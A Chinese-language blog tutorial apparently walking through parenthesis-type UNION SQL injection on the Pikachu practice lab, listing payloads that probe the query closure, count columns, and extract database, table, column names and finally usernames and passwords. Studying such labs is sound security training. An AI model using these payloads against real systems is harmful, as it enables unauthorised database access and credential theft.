联合查询注入——括号型

联合查询注入——括号型

0.前言

  在前面的讲述中,我们一直围绕的是SQL注入的联合查询问题作为注入的切入点,这将是最后一个联合查询的例子演示,比赛和其他平台的相关SQL内容会重新开一个类进行讲述,在最后也会来个总结,接下来是报错注入的相关内容了。

1.查看界面

  初始界面:

  我们在注入前,需要猜测闭合问题,所以我们可以用最原始的注入去猜测闭合(之前一直忘记提到的),通过闭合的报错得出注入的方式。

1
1'order by 1#

  报错界面:

  可以看见,SQL的报错含义是指存在)没有闭合,这说明查询的方式是以

变量 = ('xx')的形式进行传输。

2.分析回显行数

  (由于这次是括号类型的注入,语句会在原有的基础上加入)进行闭合尝试)

  判断是否有2行:

1
' ) order by 2 #

  判断是否有3行:

1
' ) order by 3 #

  从反馈中可以看见,回显行数是2行

3.尝试or的注入

  继续用or的语句注入看看

1
')  or 1=1 #

4.获取数据库名

1
') union select database(),user()#

5.获取表名

1
') union select table_name,table_name from information_schema.tables where table_schema='pikachu' #

6.获取表

1
') union select 1,column_name from information_schema.columns where table_schema = 'pikachu' and TABLE_NAME = 'users' #

7.获取表的内容

1
') union select username,password from users#

8.解码

  我是懒鬼,不解释了

9.小总结

  通过数字类型、字符类型、搜索类型以及括号类型的操作规程,能了解到在联合查询中,我们实现要判断的是有没有注入点,作为可回显的SQL注入类型之一,我们需要找到回显内容的位置,通过预测闭合情况进行注入。

  在后续的一些SQL题目中,对于联合注入的困难度不仅仅是在闭合当中,对于字符串的过滤等问题也是需要注意的情况。淦就完了!


联合查询注入——括号型
https://one-null-pointer.github.io/2022/08/11/SQL注入——括号型/
Author
liaoyue
Posted on
August 11, 2022
传送口